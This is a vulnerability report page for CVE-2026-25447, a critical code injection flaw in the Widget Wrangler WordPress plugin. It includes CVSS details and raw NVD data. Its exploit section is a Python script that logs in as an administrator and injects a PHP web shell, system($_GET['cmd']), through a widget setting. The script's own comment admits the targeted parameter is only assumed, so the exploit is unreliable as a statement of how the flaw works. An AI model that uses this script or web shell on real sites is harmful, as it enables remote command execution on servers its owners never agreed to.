Security Vulnerability Report
中文
CVE-2026-25447 CVSS 9.1 CRITICAL

CVE-2026-25447

Published: 2026-03-25 17:16:51
Last Modified: 2026-04-24 16:35:20

Description

Improper Control of Generation of Code ('Code Injection') vulnerability in Jonathan Daggerhart Widget Wrangler widget-wrangler allows Code Injection.This issue affects Widget Wrangler: from n/a through <= 2.3.9.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Widget Wrangler <= 2.3.9

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # Exploit Title: Widget Wrangler < 2.3.9 - Code Injection (RCE) # Date: 2026-03-25 # Exploit Author: Analyst # Vendor Homepage: https://wordpress.org/plugins/widget-wrangler/ # Software Link: https://downloads.wordpress.org/plugin/widget-wrangler.2.3.9.zip # Version: <= 2.3.9 # Tested on: WordPress 6.x # CVE: CVE-2026-25447 import requests import sys # Configuration target_url = sys.argv[1] # e.g., http://localhost/wp-admin/admin.php username = sys.argv[2] password = sys.argv[3] # Login to get session session = requests.Session() login_url = target_url.replace('admin.php', 'wp-login.php') login_data = { 'log': username, 'pwd': password, 'redirect_to': target_url, 'wp-submit': 'Log In' } session.post(login_url, data=login_data) # Payload to inject PHP code # Assuming a vulnerable parameter 'ww_custom_content' in the widget settings malicious_payload = "<?php system($_GET['cmd']); ?>" exploit_data = { 'action': 'update_widget', 'widget_id': '1', 'ww_custom_content': malicious_payload } # Send exploit request response = session.post(target_url, data=exploit_data) if response.status_code == 200 and 'success' in response.text: print("[+] Payload injected successfully!") print("[+] Check the widget page or trigger the hook to execute code.") else: print("[-] Exploit failed.")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-25447", "sourceIdentifier": "[email protected]", "published": "2026-03-25T17:16:50.993", "lastModified": "2026-04-24T16:35:20.070", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Generation of Code ('Code Injection') vulnerability in Jonathan Daggerhart Widget Wrangler widget-wrangler allows Code Injection.This issue affects Widget Wrangler: from n/a through <= 2.3.9."}, {"lang": "es", "value": "Vulnerabilidad de control inadecuado de la generación de código ('Inyección de código') en Jonathan Daggerhart Widget Wrangler widget-wrangler permite la inyección de código. Este problema afecta a Widget Wrangler: desde n/a hasta &lt;= 2.3.9."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/widget-wrangler/vulnerability/wordpress-widget-wrangler-plugin-2-3-9-remote-code-execution-rce-vulnerability?_s_id=cve", "source": "[email protected]"}]}}